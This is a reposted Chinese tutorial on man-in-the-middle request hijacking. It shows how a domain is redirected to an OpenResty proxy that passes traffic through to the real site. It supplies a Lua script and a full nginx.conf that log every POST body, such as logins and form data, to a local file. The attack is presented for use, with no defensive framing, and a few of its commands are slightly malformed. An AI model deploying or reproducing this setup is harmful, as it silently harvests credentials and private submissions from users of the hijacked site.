实战Nginx+lua 实现请求劫持

Posted None安全团队

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了实战Nginx+lua 实现请求劫持相关的知识,希望对你有一定的参考价值。


nginx+lua 实现请求劫持

环境以及条件:

centos7.2+

openresty

获取域名控制权

为什么要用openresty,而不是直接安装nginx+lua,因为openresty自带nginx和lua,所以只需要一键安装即可

openresty的解释:

OpenResty® 是一个基于 Nginx 与 Lua 的高性能 Web 平台,其内部集成了大量精良的 Lua 库、第三方模块以及大多数的依赖项。用于方便地搭建能够处理超高并发、扩展性极高的动态 Web 应用、Web 服务和动态网关。
官网链接:http://openresty.org/cn/

访问流程:

正常流程:

客户端通过域名访问到服务器

不正常的流程(中间人,劫持)

由于我们已经拥有了域名的控制权,所以首先将域名解析到我们的代理服务器,再通过代理服务器去访问server,由于流量会经过代理服务器,所以可以用lua脚本在代理服务器上获取中间经过的流量

修改hosts文件

由于我们要劫持的域名www.abc.com对应的ip是12.12.12.12 为了能让我们的代理服务器成功访问到www.abc.com里面的信息,所以需要修改hosts文件

# 打开hosts文件
sudo vim /etc/hosts
# 在最后一行写入
12.12.12.12 www.abc.com

安装及配置openresty

参见:http://openresty.org/cn/linux-packages.html#centos
安装成功以后
cd/usr/local/openresty下可以看到有下面几个目录

[root@vultr ~]# cd /usr/local/openresty
[root@vultr openresty]# ls
bin COPYRIGHT luajit lualib nginx openssl pcre site zlib
[root@vultr openresty]#

主要的两个目录:nginx 和 lualib 目录

查看nginx是否安装成功:
  • 启动nginx

# 载入nginx配置文件
/usr/local/openresty/nginx/sbin -c /usr/local/openresty/nginx/conf/nginx.conf
# 检查nginx配置文件是否正确
/usr/local/openresty/nginx/sbin -t
# 启动nginx
/usr/local/openresty/nginx/sbin -s reload
lua 脚本配置

首先在lualib下面新建一个配置文件并写入内容
vim /usr/local/openresty/lualib/ngx/lanjie.lua
写入:

-- 写脚本
function writefile(logfile,msg)
local fd = io.open(logfile,"ab")
if fd == nil then return end
fd:write(msg)
fd:flush()
fd:close()
end

--获取访问信息
local url=ngx.var.request_uri
local method=ngx.req.get_method()
if method == "POST" then
ngx.req.read_body()
local data33 = ngx.req.get_body_data()
writefile("/home/www/1111333.txt", data33.. "\r\n")
end

注意里面有一个/home/www/1111333.txt 这个是用来存放post请求值文件,可以任意修改,但是这个文件一定得存在,并且权限最好为777权限

nginx 配置文件

cd 到/usr/local/openresty/nginx/conf 目录
将原本的nginx.conf 备份一下

cp nginx.conf nginx.conf.bak

接着vim nginx.conf
将以下内容写入nginx.conf

worker_processes 1;
events {
worker_connections 1024;
}
http {
access_by_lua_file /usr/local/openresty/lualib/ngx/lanjie.lua;
server {
listen 80;
server_name localhost;
index index.php index.html index.htm default.php default.htm default.html;
error_page 404 /404.html;
error_page 502 /502.html;
location / {
proxy_pass http://www.abc.com;
proxy_set_header Host www.abc.com;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header REMOTE-HOST $remote_addr;

proxy_set_header refer "http://www.abc.com/$request_uri";
add_header X-Cache $upstream_cache_status;

}

location ~ .*\.(php|jsp|cgi|asp|aspx|flv|swf|xml)?$ {
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header REMOTE-HOST $remote_addr;
proxy_pass http://www.abc.com;
}

location ~ .*\.(html|htm|png|gif|jpeg|jpg|bmp|js|css)?$ {
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header REMOTE-HOST $remote_addr;
proxy_pass http://www.abc.com;
expires 24h;
}

}

}

注意,请将nginx配置文件里面的域名修改为你劫持的域名

最后

日志查看
/usr/local/openresty/nginx/logs 目录里面有访问日志以及错误日志


可以举一反三,实际上此方法可以用来操作很多东西,依情况而定

参考链接:
https://www.t00ls.net/viewthread.php?tid=48550
https://www.leavesongs.com/SOFT/play-with-openresty-lua-web.html

以上是关于实战Nginx+lua 实现请求劫持的主要内容,如果未能解决你的问题,请参考以下文章

nginx+lua+redis实现GET请求接口之黑名单

nginx+lua+redis实现post请求接口之黑名单(一)

nginx-lua流量采集及拦截

如何利用nginx+lua实现一个网页验证的功能

nginx+lua怎样实现http请求的响应

Nginx结合Lua实现限流